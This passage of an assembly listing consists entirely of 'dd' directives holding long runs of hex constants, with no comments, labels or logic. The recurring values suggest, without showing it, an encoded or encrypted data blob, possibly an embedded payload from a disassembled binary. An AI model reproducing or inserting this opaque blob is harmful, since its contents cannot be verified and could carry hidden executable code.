0DBED03E1h dd 0D317B406h, 7A56F193h, 7D4E1960h, 0CCB33092h, 8A1442A0h dd 19F50F21h, 963DAFFFh, 0CA7009BDh, 0AA9B7082h, 1BF49221h dd 1628C3FBh, 42A0631Dh, 3D80F214h, 64D33613h, 0C2582D3Fh dd 0F193D309h, 4E2D7A56h, 0A031C643h, 349D1442h, 7C08A3DBh dd 0B44F879Fh, 744E145Bh, 0A0EE9512h, 6E5D1442h, 0BE8A212Dh dd 127BCCh, 607A562Bh, 19209219h, 65B85248h, 97BDFC5Ch dd 9B453FAEh, 773AC389h, 5093A2B9h, 6BDDE591h, 0A2A274D3h dd 0FFD4E683h, 56F193D3h, 9219607Ah, 9DB59230h, 42A04D32h dd 0D9F1CE14h, 4CB506A1h, 0A03E183Ah, 0C69BADC1h, 0FB1BF492h dd 18F5C3h, 22421BA7h, 1AF610h, 7721AAB9h, 82DD18E5h, 0D30BC0B5h dd 0F492F193h, 0CFE9FB1Bh, 4E92D9F3h, 6179567Dh, 16F4921Ah dd 9F28EE00h, 0EAAD9777h, 0DDE56756h, 3446663Fh, 0F193D35Fh dd 0CCB33092h, 8A1442A0h, 0A0D6AD2Ah, 1B841442h, 0B996B0C2h dd 20925AA1h, 0D3136F8h, 3B5D6FCEh, 18F4926Ah, 0F5D2ECFEh dd 0A09269E6h, 0D7401442h, 21AA377Eh, 0ABE3C377h, 0E6E59B7Dh dd 56F193D3h, 4E1A6179h, 6179567Dh, 5621AA1Ah, 0AA19607Ah dd 0D35E6D21h, 7956F193h, 0A016ED6Ah, 5BC41442h, 7D4EBB02h dd 0EE6B7856h, 1442A009h, 0A0B249C6h, 0B7201442h, 5DA4FD66h dd 0F49221AAh, 0F0E9FB1Bh, 7DABE348h, 46209214h, 4C5D7FE9h dd 512F495Bh, 0D9112D08h, 4E9EE53Eh, 6179567Dh, 17F4921Ah dd 9E27EDFFh, 12627856h, 1C3612B0h, 19DE49E4h, 0B51442A0h dd 0AA653A4Ch, 0D35E6D21h, 7956F193h, 7D4E1A61h, 12627856h dd 0F17D9974h, 29C4FC14h, 7D4E4217h, 165D7D56h, 7E7721AAh dd 4E58B6A4h, 165D7D56h, 7D567D4Eh, 0BE3B502Ah, 1442A039h dd 9BD32C95h, 0E557A700h, 0B406EB43h, 0AA00B9B7h, 29B31272h dd 0AAF0C5D7h, 16F49221h, 1826C800h, 7F875D75h, 0DDD6E841h dd 26F2516Ch, 0D3E6E508h, 7D56F193h, 0F492165Dh, 0C7E9FB1Bh dd 5D7D56F6h, 4521AA16h, 17B4870Fh, 56F193D3h, 4E165D7Dh dd 567D567Dh, 14E4183Fh, 3C83DC9Bh, 209221AAh, 72748E3Bh dd 4F485ADBh, 61E5EC6Ch, 3EDCE6ECh, 410F4763h, 76114967h dd 0D3360B1Dh, 7D56F193h, 7D4E165Dh, 0FC1AF492h, 0D7F7D0EAh dd 7721AA90h, 6F91EA5Ah, 93B18B29h, 0FF112B07h, 6BDDE52Ah dd 0F514DF45h, 360B1D12h, 92F193D3h, 0A0CCB330h, 218A1442h dd 0FC1CF50Fh, 567D4EB5h, 0AA165D7Dh, 9F517721h, 0E529531Ah dd 0F193D3E6h, 165D7D56h, 9512744Eh, 1442A0EEh, 1CF1036Ch dd 165D7D56h, 209221AAh, 0F59E0865h, 261F31A7h, 7B96A147h dd 0D3E6E515h, 0F492F193h, 0D3EDFF17h, 0EC8ADAFAh, 11E6F80Eh dd 79567D4Eh, 0A016ED6Ah, 48C51442h, 1442A0B3h, 0FC65B61Fh dd 21AA5CA3h, 0E9667D56h, 1442A012h, 0B7FE57C0h, 5E6D21AAh dd 56F193D3h, 4E1A6179h, 0DDFDD674h, 7D56F6CBh, 0FD354D2Ah dd 4EC20962h, 607A567Dh, 4A31AE10h, 81442A0h, 4EB88D9Fh dd 5E7C567Dh, 0C621AA17h, 2B7C5605h, 60FB3351h, 7D4EC007h dd 0EA677C56h, 1442A015h, 0B8FF58C1h, 0F49221AAh, 0F0E9FB1Bh dd 1442A00Bh, 0D35E6DD1h, 6C4AE893h, 926F4456h, 0A0CCB330h dd 0EE8A1442h, 52A2FB0Fh, 42A02ED5h, 3143AC14h, 13EC3D17h dd 0C720BBF3h, 567D4E80h, 0AA175E7Ch, 0A0807721h, 0B14F1442h dd 0BE45C2D7h, 1C1442A0h, 73485AB3h, 93D3E6E5h, 5E7C56F1h dd 7896700Eh, 0BE93A540h, 64CE2092h, 0BD15AF07h, 2A3C5431h dd 9B93708h, 0A0552AA7h, 98011442h, 18AAB186h, 799C34A6h dd 99ABDDB9h, 5E7C56C4h, 0B921AA17h, 62159212h, 0F11442A0h dd 0A06D128Fh, 80E91442h, 0C90115F4h, 0D43D1C2Eh, 927D4E8Dh dd 0A0CCB330h, 218A1442h, 0FD1BF50Fh, 16F492B6h, 1B2DC800h dd 0A3811FF9h, 0AEA67B8Dh, 6377561Dh, 81977513h, 21AA9A6Fh dd 29617956h, 92BE658Eh, 1CFDBE30h, 517C6D72h, 87B1463Fh dd 801E1442h, 3F7F81A6h, 0E7B2F37Ah, 0A9BB568Eh, 4E1A61CAh dd 0F274777Dh, 92441442h, 0EDFF17F4h, 90E0F4D3h, 0A0CAB12Eh dd 1F881442h, 7D4E380Dh, 0B842092h, 6D46F3BDh, 4C64415Bh dd 7721AA05h, 7468F86h, 6BDDE556h, 7F60B291h, 582D3F1Dh dd 56F193D3h, 48705A79h, 8070791Dh, 0B44F87A7h, 4EBB025Bh dd 6179567Dh, 0B618AA1Ah, 42A04239h, 95A71014h, 637756C0h dd 15F4921Ch, 1C2EC901h, 0E6E5CD56h, 76E893D3h, 0D522423Dh dd 0DEA5229Bh, 7C144230h, 0D3A8BA13h, 1A617956h, 79567D4Eh dd 21AA1A61h, 468F8677h, 556D5607h, 0ADBFDDB7h, 0F193D3D8h dd 1A617956h, 0FF17F492h, 0A04D32AFh, 0A0091442h, 0B99B6C8Eh dd 5621AA12h, 4E1C6377h, 7705C67Dh, 1442A080h, 63775658h dd 6A7E5D2Bh, 5C23A032h, 0FA1442A0h, 98CC9591h, 0C10926D1h dd 116A0FE8h, 93D38D9Ch, 7614AEF1h, 0AB467E9Ch, 0B89EC499h dd 2D000008h, 42A21677h, 7B56E614h, 0DF384E2Ch, 0CBB02D8Fh dd 871442A0h, 0AA370C1Eh, 9212B921h, 0E9FB1BF4h, 0A0E98E0Bh dd 0C8661442h, 0CD9BD3EBh, 6A1D9EFh, 2A4621ADh, 664557F2h dd 7D4EB6FDh, 807705C6h, 581442A0h, 93D3E6E5h, 0C61DAEF1h dd 0A709B905h, 42A0552Ah, 24A10114h, 1442A05Fh, 273992FBh dd 6E159252h, 0ED1442A0h, 0A0690E8Bh, 7CE51442h, 0DB228B6Ah dd 77567D4Eh, 21AA1C63h, 42A08077h, 77565814h, 96751363h dd 4E9B7082h, 9212B97Dh, 42A06E15h, 3C83EC14h, 0CCB33092h dd 8A1442A0h, 1431C121h, 9E1B1ACh, 56A831F7h, 0AA1C6377h dd 925E6D21h, 0EE0016F4h, 0F4661551h, 0AD2A5039h, 14426AD6h dd 4ABB1B84h, 92A6B9AFh, 0ECCBCA11h, 0B9AC8193h, 6C59709h dd 69C9E5C0h, 676BF9A0h, 9FC83610h, 0F4C9DB34h, 0A06E1592h dd 83EC1442h, 18F4923Ch, 192BC6FEh, 5F3BD93Bh, 453A3345h dd 111442A0h, 0DCBA58A8h, 0E7C08EC6h, 875C6EC7h, 30927D4Eh dd 42A0CCB3h, 0CB0D7B14h, 0E0E9E8FCh, 0FA14268Fh, 0EC93101Bh dd 6A144250h, 4E61A801h, 42A10274h, 7B133F9Eh, 0F4929469h dd 2DC80016h, 0A26011Bh, 567D4EC3h, 710F5F7Bh, 2D097594h dd 0B520DDECh, 0AA754A5Ch, 0A0807721h, 0ED4F1442h, 0ED58744Fh dd 1442A016h, 4091AF89h, 54ADC9A4h, 556D6D42h, 0F36234E3h dd 8FA16DBBh, 0F193D3BAh, 0CA19F492h, 49FD7EBh, 0C6D873ABh dd 6EB5D1ACh, 7B567D4Eh, 18AA185Fh, 104BCA6h, 69B925B7h dd 420017ECh, 485AC314h, 0A0807773h, 0E5581442h, 0B33092E6h dd 1442A0CCh, 0F911EE8Ah, 0B5F18EA0h, 5F7B560Fh, 16F49218h dd 1B2DC800h, 0F49228F9h, 2EC90115h, 42A03CC3h, 8319A14h dd 8EE1BA58h, 2D3F98B2h, 9221AA58h, 71FD19F4h, 0AA457D93h dd 87A37E98h, 8221AA40h, 2FA847ABh, 0AF567F3Dh, 0A0621592h dd 80F01442h, 1D5DEDCh, 0D6DBA4F7h, 0BE0EC323h, 1590028Dh dd 0BD16B2ECh, 0E43D5331h, 567D4E9Dh, 4E185F7Bh, 6179567Dh dd 0BE658E29h, 1DAE21AAh, 1A617956h, 0F9A618AAh, 632A3E95h dd 0B9BF94A6h, 6E159212h, 0EC1442A0h, 245C7250h, 4EE93089h dd 577C567Dh, 3FCD6426h, 3980D9D6h, 8CA618AAh, 15F7D138h dd 92DF6E92h, 88CB1B32h, 4243740Bh, 2079E214h, 0F492390Eh dd 2EC90115h, 0A8EC231Ch, 92B41442h, 0C5FD19F4h, 0CF229023h dd 2C8504E7h, 0F3AA62CCh, 92A452BEh, 31819D78h, 0A1AD52CFh dd 0C0291442h, 21AAD9AEh, 209212B9h, 1B6E6835h, 7E5F7B3h dd 4252F58Ah, 0A8F86114h, 5232C946h, 37A01442h, 0E07D39D7h dd 1E30B470h, 927D4E49h, 0A0CCB330h, 218A1442h, 0FD9B650Fh dd 1FF40622h, 42A08077h, 0E6E55814h, 0AEF193D3h, 65DDA214h dd 5F0B221Ah, 42E71DE2h, 0F750B914h, 66DD3F97h, 8FA1EAD5h dd 667D56BAh, 0A0F08704h, 0F55E1442h, 42A0F58Ah, 0EAC56114h dd 0AE975CEh, 0AA569DF6h, 9212B921h, 42A06E15h, 0C27BED14h dd 0D09AB11Fh, 0A20BEAFCh, 707FE052h, 4E34CB48h, 39A21442h dd 88F5D6D9h, 7D4EA176h, 0CCB33092h, 8A1442A0h, 92160F21h dd 0EA34D7C0h, 16F492h, 0DBFBD4EEh, 927D4E94h, 0A0CCB330h dd 1A8A1442h, 47DC150h, 93A5FE62h, 38DB9C9Ah, 0F492F436h dd 30ADFD19h, 1442A04Bh, 728C9E07h, 4E347B97h, 0F0C00274h dd 4530FEBDh, 7F1A5266h, 923F1426h, 0C6FE18F4h, 24FF192Bh dd 21AAC108h, 51AF492h, 42A0F388h, 9DF65F14h, 0DD6ACA65h dd 6408AA4Dh, 57304A5Ch, 18AAF037h, 866941A6h, 30427F36h dd 0D30BC05Bh, 7B56F193h, 97710F5Fh, 94A64179h, 567D4EBFh dd 4E165D7Dh, 5F7B567Dh, 7721AA18h, 1442A085h, 0D309C255h dd 7B56F193h, 0F492185Fh, 2CC7FF17h, 5627F81Ah, 0AA185F7Bh dd 923F8C21h, 0EE0016F4h, 7B56FBCCh, 21AA185Fh, 42A08577h dd 35965514h, 56F193D3h, 4E185F7Bh, 0EE951274h, 6C1442A0h dd 849FA303h, 3C7180DEh, 2092552Ah, 58FA8FC1h, 20401966h dd 0C09BB5C7h, 0D9B654A4h, 54B64DCAh, 0BB241442h, 0AA7B5062h dd 82A07A18h, 0C89DAF4Ah, 0ECBC477h, 0E5E69439h, 0FE18F492h dd 7C192BC6h, 20929AC8h, 60A0C667h, 7F979999h, 1C1C98C2h dd 1F673C3h, 0CD14424Ah, 5D385264h, 744EFA41h, 93D7FCD6h dd 0AB4E3A11h, 963169C2h, 0DC142E0Ah, 565A2F41h, 0AA1A6179h dd 843C7721h, 920C120Dh, 0A0CCB330h, 754F1442h, 8B9D0657h dd 33759471h, 7741165Bh, 62C4146Dh, 423D1EE5h, 0BFD9AD14h dd 8C36342Ch, 6A46D23Bh, 6B7D1850h, 567D4E96h, 9F116179h dd 0B6809249h, 0CFA4B696h, 7721AAh, 0D829B99Dh, 93D35E6Dh dd 2E7956F1h, 102E084Fh, 0ACE43DD8h, 0CA68B811h, 0FE99D1F1h dd 7D4E17ECh, 1A617956h, 0C4521AAh, 920DBE8Ah, 0C80016F4h dd 0C67E1B2Dh, 6179569Ch, 567D4E1Ah, 19545A79h, 0FE24FC01h dd 8F0B5A9Eh, 55EDD40h, 0B82092BEh, 3B45F1E6h, 0C64F1527h dd 1D9B8677h, 0D4AF4D21h, 0D3E580B8h, 0D30BC0FEh, 7956F193h dd 0FF37532Eh, 0E2FCD864h, 6FB60FAAh, 79567D4Eh, 18AA1A61h dd 4B839F7Ah, 77C99EB0h, 3A3A3C10h, 0D3E6E5E8h, 0F492F193h dd 9372FE18h, 76536D7Fh, 7D4E175Eh, 185F7B56h, 795621AAh dd 32AF1161h, 1442A04Dh, 3340A009h, 727ACF6h, 0AA986D7Fh dd 4239B618h, 101442A0h, 6DC095A7h, 0F193D35Eh, 0CCB33092h dd 8A1442A0h, 1AF50F21h, 7D4EB7FEh, 0E65A7956h, 60C493AEh dd 4E4A91EAh, 5F7B567Dh, 0B3309218h, 1442A0CCh, 0F812EE8Ah dd 0BACC25C0h, 20926BF4h, 784CF613h, 0A2E909BFh, 197131F4h dd 0BA94AEC0h, 7D4E559Ch, 0F5F7B56h, 6C7E9271h, 0D6744E97h dd 0AA5DDFDh, 9B923F8h, 0A0552AA7h, 98011442h, 0F492B186h dd 29C4FC1Ah, 0A0A75CD9h, 0CA331442h, 0A65DDAB8h, 341442A0h dd 0A0A057D4h, 0CE2E1442h, 42A0AA51h, 66BF2814h, 0F492C60Dh dd 2DC80016h, 92CC551Bh, 8A0718F4h, 1442A0F5h, 679FF861h dd 4AA3BD99h, 8EC6E4BEh, 0EDC7E1F3h, 0F49288CFh, 26ECFE18h dd 0FF1BF694h, 427A9A73h, 6DC095A7h, 6D3FE355h, 47374BFEh dd 8BC3E1BBh, 9209DEF0h, 0EEF817F4h, 5EE5D7A8h, 67023A93h dd 0D68CB855h, 0FA9709B9h, 0D602117h, 92BB90A2h, 42A06E15h dd 0E8BED14h, 1442A069h, 730885E5h, 0DF1442A0h, 2C0B1D76h dd 6199B590h, 92266DC6h, 42A06E15h, 3C83EC14h, 0F4927D4Eh dd 28C3FB1Bh, 422FC16h, 1D3D16B4h, 0F492360Bh, 0CDEF0115h dd 0AA12B9FCh, 8AA17A18h, 42A0760Dh, 227BE414h, 12B93B10h dd 0FB1BF492h, 501628C3h, 18F492C7h, 0F5D2ECFEh, 7D4E96DDh dd 1B627856h, 5C621AAh, 1B627856h, 78567D4Eh, 18AA1B62h dd 317AA17Ah, 4EFA1EDAh, 0AA5DD36h, 807723F8h, 581442A0h dd 93D35E6Dh, 627856F1h, 567D4E1Bh, 0E9D85B78h, 0C5651A97h dd 88F11442h, 918B928h, 21AA69B0h, 42A08077h, 5E6D5814h dd 92F193D3h, 7F893620h, 42A37D02h, 1070D914h, 33B0C287h dd 1442E34Ch, 3648A10Ah, 19F53E1Ch, 0D32CC7FFh, 827D4E8Ch dd 90BCB7BFh, 38DF08BDh, 785621AAh, 21AA1B62h, 159212B9h dd 1442A062h, 4E4087F0h, 6278567Dh, 0AE7D4E1Bh, 50977614h dd 85205876h, 92451A2Ch, 0EEC81BF4h, 0A4FD98D0h, 0A5BFD16Ch dd 0EC5EAECAh, 16434972h, 0B58A9CE8h, 0FCC621AAh, 5567835Eh dd 16F49280h, 0F9D4EE00h, 7D4E96DDh, 0EB687B56h, 1442A014h dd 0A0B146C3h, 0B41D1442h, 5AA1FA63h, 807721AAh, 581442A0h dd 0DEB7556Dh, 5DDBF6B7h, 156EE9B4h, 93D32E03h, 5F7B56F1h dd 7B95710Fh, 20929469h, 0C523D8EAh, 0E2FCD801h, 0A4B60FAAh dd 7B56B182h, 21AA185Fh, 42A08077h, 5E6D5814h, 56F193D3h dd 710F5F7Bh, 0A9447C94h, 0EC24441Dh, 4E6A3F51h, 0E1F9D674h dd 0A06F1491h, 82EB1442h, 12B99B70h, 7B5621AAh, 21AA185Fh dd 9A709B9h, 0D3A8132Dh dd 7F1442A0h, 922F0416h, 42A06215h, 4087F014h, 2D02744Eh dd 9E712AD6h, 56DEB3C5h, 14EB687Bh, 0C21442A0h, 0F52D4D26h dd 61A8015Ah, 77567D4Eh, 67902B63h, 223E19B7h, 0F4923B10h dd 26ECFE18h, 561DAE9Dh, 9D0F5F7Bh, 7F5AF653h, 0DEBF0363h dd 9DAA51CEh, 0BF281442h, 0AA7F5466h, 0EC8F7721h, 0E4566A0Ch dd 4FACF1EBh, 7D9974D8h, 563D1224h, 710F5F7Bh, 93687A96h dd 30927D4Eh, 42A0CCB3h, 0F218A14h, 0B7FE1AF5h, 3F8C21AAh dd 0FCD6744Eh, 56F7CCDEh, 0AA1A6179h, 0A0847721h, 56541442h dd 4E1A6179h, 0E2F8D674h, 4DBC5082h, 0F709AE6Fh, 16F49222h dd 80967400h, 5F77546Eh, 7721AA18h, 553EA9EBh, 0D35E6DC3h dd 7956F193h, 744E1A61h, 0A0EE9512h, 53311442h, 7183EC3Dh dd 0B330929Ch, 1442A0CCh, 0F50F218Ah, 419DF918h, 586F4888h dd 21AAB8FFh, 0B8C71577h, 5E6DE575h, 56F193D3h, 3B4F2E79h dd 20929BE2h, 20FDB2F0h, 0D535D008h, 2908B591h, 0E942DD15h dd 56E4B5D7h, 0AF116179h, 42A04D32h, 6990914h, 0E0F83196h dd 1AEF015Ah, 0E3C12092h, 0C889D4FAh, 5667F0B6h, 0F556587Bh dd 7A717CFFh, 26C2F91Ah, 51AAA85Eh, 5621AA0Ah, 58265E7Ch dd 0C4FF5B7Ch, 0FB4B3AEh, 0CFDC7EB6h, 5AA78032h, 5C0885A7h dd 0D3181714h, 7956F193h, 7D4E1A61h, 1A617956h, 309221AAh dd 42A0CCB3h, 0F218A14h, 0B8C7F416h, 0E6E58475h, 0FF17F492h dd 7D1A2CC7h, 30929BC9h, 42A0CCB3h, 95218A14h, 748EA0B8h dd 4E387F97h, 7AA10274h, 554A31AEh, 9F081442h, 224BA43Fh dd 79563B10h, 21AA1A61h, 0FB1BF492h, 0A960F0E9h, 0C133553Eh dd 3EBB4A30h, 553E78B9h, 2B4CAC15h, 0DCB1C32Bh, 0F492E6E5h dd 2CC7FF17h, 9BC97D1Ah, 1A617956h, 79567D4Eh, 0EB9F1161h dd 0D2862248h, 0AAE3B8CAh, 5F7B5621h, 12744E18h, 42A0EE95h dd 0F1036C14h, 0CE30921Ch, 42A0AA51h, 54BF2814h, 1442A0AFh dd 0C0F816F0h, 596BD425h, 0D653623Fh, 1442A021h, 0A4EB44ADh dd 7C567D4Eh, 0A015EA67h, 58C11442h, 18AAB8FFh, 0D2D58DA6h dd 0A5B74613h, 885677D0h, 0AB1D4ECCh, 6EF2DFA3h, 0EBC652FBh dd 56E8BDCFh, 4E175E7Ch, 5E7C567Dh, 9221AA17h, 405A0720h dd 96363BBDh, 15E6FBB4h, 787183DCh, 1B27C7C3h, 925E6D99h dd 0A0CCB330h, 218A1442h, 9032720Fh, 0E5E7C56h, 65779770h dd 927D4E90h, 7FC54620h, 0B9CB1CCDh, 61A8C49Fh, 7C5621AAh dd 0DC354F2Bh, 0FC3B1A8Ch, 410D6868h, 42D43FC4h, 0D9329B14h dd 3092F2C7h, 42A0CCB3h, 0FEE8A14h, 0CF28C3FBh, 144C6843h dd 0FA16779h, 6A7C9471h, 0D3884395h, 6C4AE893h, 926F4456h dd 7F51AF4h, 7A6CEA43h, 0BBD5E740h, 99B791E0h, 266DC661h dd 0FC1AF492h, 56F7C8EAh, 3BCA577Ch, 0CF4DED71h, 0F4922F76h dd 28C3FB1Bh, 0A5CE1CC8h, 5365F91Bh, 0E0B95731h, 56D9AEC0h dd 92185F7Bh, 99B99230h, 42A0492Eh, 8A9C0514h, 6B773BC4h dd 43741F45h, 93D3E6E5h, 17F492F1h, 7AD3F3CCh, 7B95A742h dd 4E3D84A0h, 0DFFBD674h, 0FDAC0CA7h, 1E074E1Fh, 92BC91A3h dd 0A0CCB330h, 0E8B1442h, 1442A069h, 8F2B7CE5h, 0C8639BB1h dd 68435D6Fh, 825EFC4Ch, 0AA815668h, 839F7A18h, 0C99EB04Bh dd 0ADADDB77h, 5E6DB33Eh, 0CCB33092h, 8A1442A0h, 32720F21h dd 5F7B5690h, 567D4E18h, 0AA185F7Bh, 18F49221h, 0F3D2ECFEh dd 21AA98DFh, 93D35E6Dh, 5F7B56F1h, 0D6744E18h, 0FAAE2F8h dd 7B5628FDh, 0DC35512Ch, 451C1A8Ch, 0F1293F1Dh, 0A7B0F656h dd 0AAB58A9Ch, 0ADDB7721h, 0E5B33EADh, 0E893D3E6h, 0A0720986h dd 77E01442h, 7B569065h, 3092185Fh, 0C7FA52BEh, 9E09A37Bh dd 1442ABD9h, 0D8FA0C75h, 51209207h, 0D3D78AF8h, 0E2BFD9EBh dd 21AA83CAh, 2168464Dh, 0FCD6744Eh, 6A118EDEh, 0E81442A0h dd 92986D7Fh, 0EE0016F4h, 69E6F9D4h, 1442A092h, 7826D040h dd 110D93BFh, 374F2CB8h, 309297DEh, 42A0CCB3h, 0F218A14h dd 0E4771CEDh, 0B41442A4h, 1A617956h, 39B618AAh, 1442A042h dd 0A9E1F7D5h, 4254BD0Eh, 9212B96Dh, 42A06E15h, 107BED14h dd 1801FF9Ah, 0A50EEDFFh, 0B330925Eh, 1442A0CCh, 0ED0F218Ah dd 0AA12B91Ch, 18F49221h, 192BC6FEh, 0C40B21FFh, 0CCB33092h dd 8A1442A0h, 1CED0F21h, 0FB1BF492h, 0A3F6CFE9h, 0A977AFC5h dd 0DD78B0D0h, 0AAE42B84h, 5605C621h, 4E165D7Dh, 607A567Dh dd 1BF49219h, 1628C3FBh, 3092C750h, 42A0CCB3h, 5C704F14h dd 0CF388924h, 0AACAA3BDh, 1BF49263h, 1628C3FBh, 7E77C750h dd 452B79E8h, 4D6B45E3h, 680F7A15h, 0E62B79E9h, 0F851714Ah dd 40788E6Ch, 92BE93A5h, 9CB69230h, 995EC964h, 261442A0h dd 0CDC2C67Dh, 970051E8h, 3152F0Bh, 0A9F010E9h, 30927D4Eh dd 42A0CCB3h, 0F218A14h, 79E89B16h, 0F492F12Bh, 28C3FB1Bh dd 620FC16h, 2744EBFh, 1A303833h, 7106833Dh, 0DD1442BBh dd 34091B74h, 19607A56h, 7D5621AAh, 906F0D5Dh, 0A0730885h dd 76DF1442h, 384AE51Dh, 19F49263h, 182AC5FDh, 0BC0C952h dd 86E893D3h, 42A07209h, 6844E014h, 227B164Eh, 0E14C64C2h dd 4052A990h, 597A566Bh, 7E87C7DCh, 0EC338C8Ah, 7D567D4Eh dd 7D4E165Dh, 165D7D56h, 7A5621AAh, 21AA1960h, 265E7C56h dd 29617D58h, 2B63815Bh, 98CC9390h, 0D35463D8h, 714AE893h dd 6C7E1951h, 5D7D5697h, 15F49216h, 1C2EC901h, 0A68220FAh dd 0A7B9548Ch, 607A56D2h, 1BF49219h, 1AF5C3FBh, 0D22BC6FEh dd 56CD9EC0h, 0AA165D7Dh, 0A0807721h, 0B14F1442h, 0D7ACBED2h dd 93D35E6Dh, 5D7D56F1h, 340DAB0Dh, 0D641DC14h, 1442A021h dd 5D3244ADh, 7D567D4Eh, 21AA165Dh, 39627856h, 6E159292h dd 0EC1442A0h, 21AA3C83h, 93D30BC0h, 720986E8h, 0E01442A0h dd 56906577h, 4E165D7Dh, 0AA12B97Dh, 5D7D5621h, 0A618AA16h dd 91924D4h, 54293B43h, 93D30BC0h, 6E1592F1h, 0EC1442A0h dd 92B35A83h, 42A06E15h, 744FED14h, 2CF49151h, 0EA43A0EBh dd 260517B2h, 7D4E76BDh, 165D7D56h, 468221AAh, 0B9544306h dd 7CB4C8A7h, 0BB3888E1h, 144296C4h, 59002992h, 0A06E1592h dd 83EC1442h, 0C021AA3Ch, 0F193D30Bh, 165D7D56h, 14AE7D4Eh dd 1C3A14B2h, 19DE49E4h, 0A61442A0h, 0D51A59D5h, 1CB809E8h dd 55F0283Eh, 4D15EAFCh, 92256C42h, 0A6B84B15h, 59A00913h dd 785621AAh, 92923962h, 0EBFD19F4h, 42779C25h, 1A6464FEh dd 93D30BC0h, 9212B9F1h, 42A06E15h, 3C83EC14h, 15927D4Eh dd 1442A06Eh, 0B35A83ECh, 795621AAh, 32AF1161h, 1442A04Dh dd 0B98EA009h, 7D567D4Eh, 0F492165Dh, 25C7FF17h, 0FD1B67D8h dd 0C8DA33E5h, 0FCC67902h, 0A0661D9Ah, 58F41442h, 922D6579h dd 0B9522739h, 9221AA12h, 2310EA20h, 0B84484FEh, 0ED88C0DEh dd 0C8E8C1DBh, 0C67D4E81h, 0A0807705h, 6D581442h, 0F193D35Eh dd 7D561DAEh, 21AA165Dh, 42A08077h, 5E6D5814h, 56F193D3h dd 12E9667Dh, 0C01442A0h, 0D2F2CB57h, 5FA6FF9Ah, 0F7D6744Eh dd 0FE10ABE3h, 5D7D5629h, 9221AA16h, 3E540520h, 0A5F57579h dd 422C5328h, 8496FF14h, 422CF48Bh, 78566C14h, 825C2A62h dd 0C84B2C64h, 9B60DD9Ch, 371442A0h, 0F10075CEh, 56F193D3h dd 4E165D7Dh, 607A567Dh, 0BD648D28h, 7D5621AAh, 0A012E966h dd 0ACB11442h, 0EA860763h, 0CBA74394h, 85DE79B1h, 21AAE52Ch dd 0F49212B9h, 0DEBFD19h dd 42A0E790h, 8E0B6B14h, 1442A0E9h, 5CA3FC65h, 0CCB33092h dd 8A1442A0h, 9EBA9521h, 97B9CB66h, 15F492C6h, 0FCD5EF01h dd 7D4E95DCh, 6FA214AEh, 2AE2AC73h, 5653283Ah, 0AA19607Ah dd 81A17A18h, 0E779A6Fh, 0DE25D7CAh, 19607A56h, 4302744Eh dd 2CD350ACh, 0AA144286h, 255EE141h, 56390E20h, 0AA19607Ah dd 82A07A18h, 0E25FAF4Ah, 1442A01Dh, 693E50B9h, 16F492h dd 16B40AEEh, 4EE92139h, 7D4E673Ch, 19607A56h, 0CCB33092h dd 8A1442A0h, 9EBA9521h, 0F3B9CB66h, 14B2EF61h, 162C0489h dd 2C9F2F04h, 0FD19F492h, 7B182AC5h, 0F49299CBh, 28C3FB1Bh dd 9223F416h, 0C4FC1AF4h, 1EFD1729h, 411CBA0Ah, 4052ED25h dd 7A18AA6Bh, 0B34E869Ch, 0EF77CCA1h, 0BF624AC5h, 439D2092h dd 0D48828D6h, 0B5C9A8C2h, 0F1860365h, 5D1442DEh, 4E0DE2F4h dd 697A567Dh, 42A017ECh, 0E663C314h, 1442A011h, 0A2FB54BDh dd 5621AA5Bh, 0AA1C6377h, 61795621h, 63815B29h, 6125EC2Bh dd 0D3353431h, 7A56F193h, 95721060h, 98AA457Dh, 567D4EC3h dd 4E1C6377h, 607A567Dh, 8C21AA19h, 0F572D436h, 1442A00Eh dd 3F863CCh, 0CF1442A0h, 4E7F5466h, 0E3F7D674h, 29FE10ABh dd 19607A56h, 34521AAh, 0F006E482h, 360B1DB8h, 30920DBEh dd 42A0CCB3h, 8D1A8A14h, 0AF40BAEEh, 8E0B5BB4h, 14425DE9h dd 4DEAFC65h, 0F4926B19h, 9572FE18h, 75516B7Dh, 946D0B5Bh dd 4E8D6274h, 697A567Dh, 69D4F0CBh, 1442A092h, 377ED740h dd 9D7A18AAh, 779E7385h, 66476994h, 0D30BC064h, 2092F193h dd 4FE60FADh, 0F10DE8FAh, 906C8698h, 7D4E2F76h, 11617956h dd 2B7B9973h, 42A0C9AEh, 0A1C8514h, 5621AA35h, 0AA19607Ah dd 920BC021h, 1DC2E420h, 132552EBh, 9294CE76h, 0AA107120h dd 0B0C26D6Eh, 8F6EB996h, 34D2227Bh, 68033B5Bh, 7D4E8156h dd 0EC697A56h, 1442A017h, 0BA015AC3h, 0F9D6744Eh, 7125C4DAh dd 338CE2AAh, 3A4E2DFBh, 0FC0E6702h, 5E7C5627h, 92209217h dd 6FDCB55h, 32BB8193h, 91862092h, 2510A7BFh, 41CF913h dd 15F492BDh, 7CD5F5CEh, 0D197A944h, 0B2E37748h, 56BB3D50h dd 35552E79h, 0C20962FDh, 0FE18F492h, 52F0CAECh, 73485A78h dd 1A617956h, 619F492h, 42A0F289h, 9EF76014h, 0A1BD9866h dd 6375CE69h, 2092149Dh, 217DCDEh, 622FD98h, 0C8DA33CEh dd 0B4DFA79Dh, 0E893D317h, 1A52704Ah, 0CDB22F7Fh, 891442A0h dd 56390E20h, 4E1A6179h, 6179567Dh, 7721AA1Ah, 5977842Ch dd 0D30BC0FCh, 7956F193h, 0E13A502Eh, 567D4E9Ah, 0AA1A6179h dd 2B7C5621h, 96DD364Eh, 9512744Eh, 1442A0EEh, 7D9EFC6Ch dd 0DA0DBC8Fh, 929A6F81h, 0C90115F4h, 0AFC3A22Eh, 8EA6839Dh dd 0B3309247h, 1442A0CCh, 0ED0F218Ah, 5F7B561Ch, 0C621AA18h dd 0A0807705h, 0E5581442h, 0E893D3E6h, 44566C4Ah, 561DAE6Fh dd 36EB597Ah, 0F390C796h, 0D0AC4A9Ah, 0CE7477AFh, 389122F5h dd 7E536500h, 12B921AAh, 0A06E1592h, 8BED1442h, 42A0690Eh dd 6A7CE514h, 34D2228Bh, 6D084056h, 0F492865Bh, 0CAECFE18h dd 617956F9h, 5621AA1Ah, 700E5E7Ch, 0A43F7797h, 21AABD92h dd 552E7956h, 0EE8CDC35h, 10E5F713h, 79567D4Eh, 21AA1A61h dd 522D7A56h, 0A63FE36h, 567D4EC3h, 4E1A6179h, 607A567Dh dd 5621AA19h, 4E185F7Bh, 607A567Dh, 927D4E19h, 0A0CCB330h dd 218A1442h, 0FE1AF50Fh, 7A18AAB7h, 9C71839Fh, 18AA12B9h dd 8F424AA6h, 6CF86EDAh, 9267798Dh, 